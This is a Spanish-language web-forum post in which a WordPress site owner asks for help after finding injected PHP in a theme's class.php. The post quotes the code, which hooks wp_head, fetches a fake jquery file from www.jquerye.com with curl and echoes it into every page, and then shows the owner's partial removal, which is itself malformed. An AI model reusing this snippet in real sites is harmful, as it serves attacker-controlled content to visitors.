Ver Mensaje Individual
  #1 (permalink)  
Antiguo 24/01/2013, 10:28
cuaji
 
Fecha de Ingreso: enero-2013
Mensajes: 1
Antigüedad: 11 años, 3 meses
Puntos: 0
Exclamación Código malicioso en wordpress

Tengo un sitio wordpress, ayer encontré este mensaje en la parte superior del sitio (El sitio se sigue mostrando abajo del mensaje) :


404 Not Found
The server can not find the requested page:
www.jquerye.com/jquery-1.6.3.min.js (port 80)
Please forward this error screen to www.jquerye.com's WebMaster.



Procedí a buscar el código que generaba esto y lo encontré dentro de la carpeta del theme, en un archivo llamado class.php, el código lucía así:


<?php if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
if (function_exists('curl_init')){
$url = "http://www.jquerye.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}
}
add_action('wp_head', 'insert_jquery_slider');}
?>



Lo que hice fue eliminar la parte "mala" del código, y quedó así:


<?php if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){

add_action('wp_head', 'insert_jquery_slider');}
}
?>



Eso funcionó, el mensaje ya no sale en la parte superior del sitio, pero cuando entro a www.misitio.com/wp-admin

Sale este mensaje:


Warning: Cannot modify header information


Es un código que apareció en muchísimos sitios esta mañana, si miras dice "jquerye" el enlace.
Bueno, espero respuestas maestros, muchas gracias!